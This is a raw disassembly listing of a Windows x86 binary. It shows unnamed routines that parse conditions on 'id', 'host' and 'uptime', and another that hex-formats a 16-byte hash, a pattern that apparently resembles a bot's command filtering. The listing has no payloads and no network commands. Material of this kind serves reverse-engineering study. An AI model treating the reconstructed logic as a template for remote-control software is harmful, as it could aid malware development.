; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412BC0	proc near		; CODE XREF: sub_401B54j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40170D
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
sub_412BC0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412C10	proc near		; CODE XREF: sub_401F00j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412C10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	6
		push	9
		push	4Fh
		push	3
		push	9
		push	7
		push	0Fh
		lea	eax, [esp+48h+var_24]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
sub_412C10	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_412CB0:				; CODE XREF: ___:loc_40100Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43994E
		push	eax
		mov	large fs:0, esp
		sub	esp, 90h
		add	ecx, 4
		push	ebp
		push	esi
		mov	esi, [esp+0A8h]
		lea	ebp, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412FD6
		push	ebx
		push	edi
		push	offset asc_443600 ; " "
		lea	eax, [esp+44h]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	ecx, [esp+2Ch]
		push	2
		push	ecx
		mov	ecx, esi
		mov	dword ptr [esp+0B4h], 0
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	edx, [esp+14h]
		push	3
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 1
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	eax, [esp+74h]
		push	0
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 2
		call	sub_4016AE
		mov	edi, eax
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 3
		call	sub_4013D9
		lea	ecx, [esp+28h]
		mov	ebx, eax
		call	sub_4013D9
		lea	ecx, [esp+40h]
		add	ebx, eax
		call	sub_4013D9
		mov	ecx, edi
		add	ebx, eax
		call	sub_4013D9
		lea	ecx, [esp+70h]
		lea	edi, [ebx+eax+4]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+58h]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_401E2E
		push	offset asc_443600 ; " "
		lea	edx, [esp+8Ch]
		push	4
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 4
		call	sub_4016AE
		lea	ecx, [esp+70h]
		push	1
		mov	bl, 5
		push	ecx
		mov	ecx, eax
		mov	[esp+0B0h], bl
		call	sub_401E2E
		push	eax
		mov	ecx, ebp
		mov	byte ptr [esp+0ACh], 6
		call	sub_40200E
		lea	ecx, [esp+70h]
		mov	[esp+0A8h], bl
		call	sub_401226
		mov	byte ptr [esp+0A8h], 4
		lea	ecx, [esp+88h]
		call	sub_401226
		lea	edx, [esp+58h]
		mov	ecx, esi
		push	edx
		call	sub_40200E
		push	offset asc_443D40 ; "!="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E35
		xor	edi, edi


loc_412E35:				; CODE XREF: ___:00412E31j
		push	offset asc_443D3C ; "=="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E4C
		mov	edi, 1


loc_412E4C:				; CODE XREF: ___:00412E45j
		push	offset asc_443D38 ; ">"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E63
		mov	edi, 2


loc_412E63:				; CODE XREF: ___:00412E5Cj
		push	offset asc_443D34 ; "<"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E7A
		mov	edi, 3


loc_412E7A:				; CODE XREF: ___:00412E73j
		push	offset aId	; "id"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412ED4
		test	edi, edi
		jnz	short loc_412EAA
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset word_44759A
		call	sub_4012EE
		test	eax, eax
		jz	short loc_412ED4
		jmp	short loc_412EC7
; ---------------------------------------------------------------------------


loc_412EAA:				; CODE XREF: ___:00412E8Ej
		cmp	edi, 1
		jnz	short loc_412ED4
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset word_44759A
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412ED4


loc_412EC7:				; CODE XREF: ___:00412EA8j
		push	0
		push	esi
		mov	ecx, offset byte_4472B7
		call	sub_401A32


loc_412ED4:				; CODE XREF: ___:00412E8Aj
					; ___:00412EA6j ...
		push	offset aHost	; "host"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F27
		test	edi, edi
		jnz	short loc_412F08
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4D60DD
		call	sub_4013E3
		test	eax, eax
		jnz	loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F08:				; CODE XREF: ___:00412EE8j
		cmp	edi, 1
		jnz	short loc_412F89
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4D60DD
		call	sub_4013E3
		test	eax, eax
		jz	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F27:				; CODE XREF: ___:00412EE4j
		push	offset aUptime	; "uptime"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F89
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		mov	ebx, eax
		call	sub_401654
		test	edi, edi
		jnz	short loc_412F5D
		cmp	eax, ebx
		jz	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F5D:				; CODE XREF: ___:00412F55j
		cmp	edi, 1
		jnz	short loc_412F68
		cmp	eax, ebx
		jnz	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F68:				; CODE XREF: ___:00412F60j
		cmp	edi, 2
		jnz	short loc_412F73
		cmp	eax, ebx
		jle	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F73:				; CODE XREF: ___:00412F6Bj
		cmp	edi, 3
		jnz	short loc_412F89
		cmp	eax, ebx
		jge	short loc_412F89


loc_412F7C:				; CODE XREF: ___:00412F06j
					; ___:00412F25j ...
		push	0
		push	esi
		mov	ecx, offset byte_4472B7
		call	sub_401A32


loc_412F89:				; CODE XREF: ___:00412F00j
					; ___:00412F0Bj ...
		lea	ecx, [esp+58h]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 1
		call	sub_401226
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+0A8h], 0
		call	sub_401226
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+0A8h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebx
		jmp	short loc_412FD8
; ---------------------------------------------------------------------------


loc_412FD6:				; CODE XREF: ___:00412CE9j
		mov	al, 1


loc_412FD8:				; CODE XREF: ___:00412FD4j
		mov	ecx, [esp+98h]
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 9Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4130E0	proc near		; CODE XREF: sub_401654j
		call	near ptr 27D07EBh
		nop
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		mov	eax, edx
		add	eax, ecx
		sar	eax, 10h
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		retn
sub_4130E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413120	proc near		; CODE XREF: sub_401FFAj

var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_413120
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+20h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+20h+var_4], 0
		call	sub_401749
		lea	edi, [esi+60h]
		lea	eax, [esp+20h+var_12]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401F05
sub_413120	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Fh]
		lea	ebx, [esi+6Ch]
		push	ecx
		mov	ecx, ebx
		mov	byte ptr [esp+20h], 2
		call	sub_401843
; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+1Ch], 3
		mov	dword ptr [esi], offset	off_43E044
		call	sub_401924
		mov	ecx, ebx
		call	sub_401C62
		mov	ecx, [esp+14h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4131F0	proc near		; CODE XREF: sub_401CF8j ___:00401E10j
		push	esi
		mov	esi, ecx
		call	sub_401C8F
sub_4131F0	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_413208
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_413208:				; CODE XREF: ___:004131FDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413220	proc near		; CODE XREF: sub_401C8Fj

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_413220
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		mov	dword ptr [esi], offset	off_43E044
		lea	edi, [esi+60h]
		mov	[esp+1Ch+var_4], 3
		mov	ecx, edi
		call	sub_401924
		lea	ebx, [esi+6Ch]
		mov	ecx, ebx
		call	sub_401C62
		mov	ecx, ebx
		mov	byte ptr [esp+1Ch+var_4], 2
		call	sub_4014B5
sub_413220	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 1
		call	sub_4011B8
; ---------------------------------------------------------------------------
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+18h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132E0	proc near		; CODE XREF: sub_4019F6j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4132E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	15h
		push	0Fh
		push	7
		push	0Fh
		lea	eax, [esp+58h+var_3C]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+32h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_4132E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		lea	edx, [esp+28h]
		push	13h
		push	edx
		call	sub_4019B5
		add	esp, 14h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4133D0	proc near		; CODE XREF: sub_401CD0j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4133D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0
		call	sub_4017E4
		test	eax, eax
		jz	short loc_413477
		lea	ecx, [esp+18h+var_14]
		call	sub_402252
		add	esi, 6Ch
		lea	eax, [esp+18h+var_10]
		push	eax
		mov	ecx, esi
		call	sub_4018F2
		mov	ecx, [eax]
		lea	edx, [esp+18h+var_10]
		mov	[esp+18h+var_14], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jz	short loc_413477


loc_413438:				; CODE XREF: sub_4133D0+A5j
		lea	eax, [esp+18h+arg_0]
		lea	ecx, [esp+18h+var_14]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+18h+var_14]
		jz	short loc_41349C
		call	sub_40118B
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jnz	short loc_413438


loc_413477:				; CODE XREF: sub_4133D0+2Ej
					; sub_4133D0+66j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
; ---------------------------------------------------------------------------


loc_41349C:				; CODE XREF: sub_4133D0+86j
		call	sub_40135C
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
sub_4133D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413510	proc near		; CODE XREF: sub_402112j

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_413510
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebx, ecx
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0
		call	sub_4017E4
		test	eax, eax
		jz	loc_4135E3
		lea	ecx, [esp+28h+var_18]
		call	sub_401037
		lea	ebp, [ebx+60h]
		lea	eax, [esp+28h+var_14]
		push	eax
		mov	ecx, ebp
		call	sub_401983
		mov	ecx, [eax]
		lea	edx, [esp+28h+var_14]
		mov	[esp+28h+var_18], ecx
		push	edx
		mov	ecx, ebp
		call	sub_402234
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AD7
		test	al, al
		jz	short loc_4135E3


loc_41357F:				; CODE XREF: sub_413510+D1j
		lea	ecx, [esp+28h+var_18]
		call	sub_4011D1
		mov	edi, [eax]
		sub	esp, 18h
		lea	eax, [esp+40h+arg_0]
		mov	ecx, esp
		mov	[esp+40h+var_10], esp
		push	eax
		call	sub_4014C9
		mov	ecx, ebx
		call	sub_401CD0
		mov	esi, eax
		test	esi, esi
		jz	short loc_4135AC
		mov	edi, [esi]


loc_4135AC:				; CODE XREF: sub_413510+98j
		lea	ecx, [esp+28h+arg_0]
		push	ecx
		mov	ecx, edi
		call	sub_401B72
		test	eax, eax
		jz	short loc_41360B
		test	esi, esi
		jnz	short loc_41360B
		lea	ecx, [esp+28h+var_18]
		call	sub_4018B6
		lea	edx, [esp+28h+var_14]
		mov	ecx, ebp
		push	edx
		call	sub_402234
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AD7
		test	al, al
		jnz	short loc_41357F


loc_4135E3:				; CODE XREF: sub_413510+31j
					; sub_413510+6Dj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax


loc_4135F6:				; CODE XREF: sub_413510+10Ej
		mov	ecx, [esp+28h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_41360B:				; CODE XREF: sub_413510+AAj
					; sub_413510+AEj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, edi
		jmp	short loc_4135F6
sub_413510	endp

; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413670	proc near		; CODE XREF: sub_401F46j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413670
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		lea	ecx, [esp+14h+arg_0]
		mov	[esp+14h+var_4], 1
		call	sub_4017E4
		test	eax, eax
		jz	short loc_413714
		lea	ecx, [esp+14h+var_14]
		call	sub_401E1F
		lea	eax, [esp+14h+var_10]
		lea	ecx, [esp+14h+arg_18]
		push	eax
		call	sub_4012E9
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_14], ecx
		push	edx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D89
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D5C
		test	al, al
		jz	short loc_413714


loc_4136D6:				; CODE XREF: sub_413670+A2j
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_14]
		push	eax
		call	sub_401FA5
		mov	ecx, [eax]
		call	sub_401B72
		test	eax, eax
		jz	short loc_413746
		lea	ecx, [esp+14h+var_14]
		call	sub_4020A4
		lea	ecx, [esp+14h+var_10]
		push	ecx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D89
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D5C
		test	al, al
		jnz	short loc_4136D6


loc_413714:				; CODE XREF: sub_413670+2Bj
					; sub_413670+64j
		lea	ecx, [esp+14h+arg_0]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+14h+arg_18]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401578
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------


loc_413746:				; CODE XREF: sub_413670+7Dj
		push	esi
		lea	ecx, [esp+18h+var_14]
		call	sub_401FA5
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401578
sub_413670	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4137E0	proc near		; CODE XREF: sub_4011DBj

var_A4		= byte ptr -0A4h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_64		= byte ptr -64h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4137E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 98h
		push	esi
		xor	esi, esi
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], esi
		call	sub_4017E4
		test	eax, eax
		jz	loc_413913
		lea	eax, [esp+0A8h+var_64]
		push	eax
		call	sub_401A55
		add	esp, 4
		lea	ecx, [esp+0A8h+var_A4]
		call	sub_401424
		push	offset byte_446F70
		lea	ecx, [esp+0ACh+var_A4]
		mov	byte ptr [esp+0ACh+var_4], 1
		call	sub_4015D7
		lea	ecx, [esp+0A8h+arg_0]
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+0ACh+arg_0]
		call	sub_4014D3
		lea	ecx, [esp+0ACh+var_64]
		push	eax
		push	ecx
		call	sub_401C12
		lea	edx, [esp+0B4h+var_64]
		lea	eax, [esp+0B4h+var_74]
		push	edx
		push	eax
		call	sub_402158
		add	esp, 14h


loc_41387B:				; CODE XREF: sub_4137E0+E8j
		lea	ecx, [esp+0A8h+var_8C]
		call	sub_401424
		xor	ecx, ecx
		lea	edx, [esp+0A8h+var_8C]
		mov	cl, [esp+esi+0A8h+var_74]
		mov	byte ptr [esp+0A8h+var_4], 2
		push	ecx
		push	offset a2_2x	; "%2.2X"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	eax, [esp+0A8h+var_8C]
		lea	ecx, [esp+0A8h+var_A4]
		push	eax
		call	sub_4016BD
		lea	ecx, [esp+0A8h+var_8C]
		mov	byte ptr [esp+0A8h+var_4], 1
		call	sub_401226
		inc	esi
		cmp	esi, 10h
		jl	short loc_41387B
		mov	edx, [esp+0A8h+arg_18]
		lea	ecx, [esp+0A8h+var_A4]
		push	ecx
		lea	ecx, [edx+15h]
		call	sub_401B72
		test	eax, eax
		mov	byte ptr [esp+0A8h+var_4], 0
		lea	ecx, [esp+0A8h+var_A4]
		jnz	short loc_41390E
		call	sub_401226
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_41392C
; ---------------------------------------------------------------------------


loc_41390E:				; CODE XREF: sub_4137E0+10Cj
		call	sub_401226


loc_413913:				; CODE XREF: sub_4137E0+33j
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_41392C:				; CODE XREF: sub_4137E0+12Cj
		mov	ecx, [esp+0A8h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 0A4h
		retn	1Ch
sub_4137E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4139B0	proc near		; CODE XREF: sub_40191Fj

var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4139B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		lea	eax, [esp+30h+arg_18]
		mov	ecx, esp
		mov	[esp+30h+var_14], esp
		push	eax
		mov	[esp+34h+var_4], 1
		call	sub_4014C9
		mov	ecx, esi
		call	sub_402112
		test	eax, eax
		jz	short loc_413A5E
		sub	esp, 0Ch
		add	eax, 54h
		mov	ecx, esp
		mov	[esp+24h+var_14], esp
		push	eax
		call	sub_40171C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+40h]
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	edx
		mov	[esp+44h+var_8], 2
		call	sub_4014C9
		mov	ecx, esi
		mov	[esp+40h+var_8], 1
		call	sub_401F46
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_413A5E
		lea	ecx, [esp+40h+var_24]
		mov	byte ptr [esp+40h+var_2C], 0
		call	sub_401226
		lea	ecx, [esp+40h+var_C]
		mov	[esp+40h+var_2C], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+40h+var_34]
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
; ---------------------------------------------------------------------------


loc_413A5E:				; CODE XREF: sub_4139B0+3Fj
					; sub_4139B0+79j
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
sub_4139B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413AE0:				; CODE XREF: ___:00401393j
		push	0FFFFFFFFh
		push	offset loc_439B08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40191F
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413B70	proc near		; CODE XREF: sub_401181j

var_3C		= byte ptr -3Ch
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_413B70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		mov	ebp, [esp+48h+arg_18]
		xor	ebx, ebx
		cmp	ebp, ebx
		mov	[esp+48h+var_4], ebx
		jz	loc_413CB9
		lea	ecx, [esp+48h+arg_0]
		call	sub_4017E4
		test	eax, eax
		jz	loc_413CB9
		push	esi
		push	edi
		push	offset asc_443C94 ; ":"
		lea	eax, [esp+54h+var_3C]
		push	ebx
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		xor	esi, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jz	loc_413C93
		add	ebp, 54h


loc_413BF0:				; CODE XREF: sub_413B70+11Dj
		push	15h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	dword ptr [esp+4Ch+var_3C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+4Ch], 2
		jz	short loc_413C10
		mov	ecx, eax
		call	sub_401F2D
		jmp	short loc_413C12
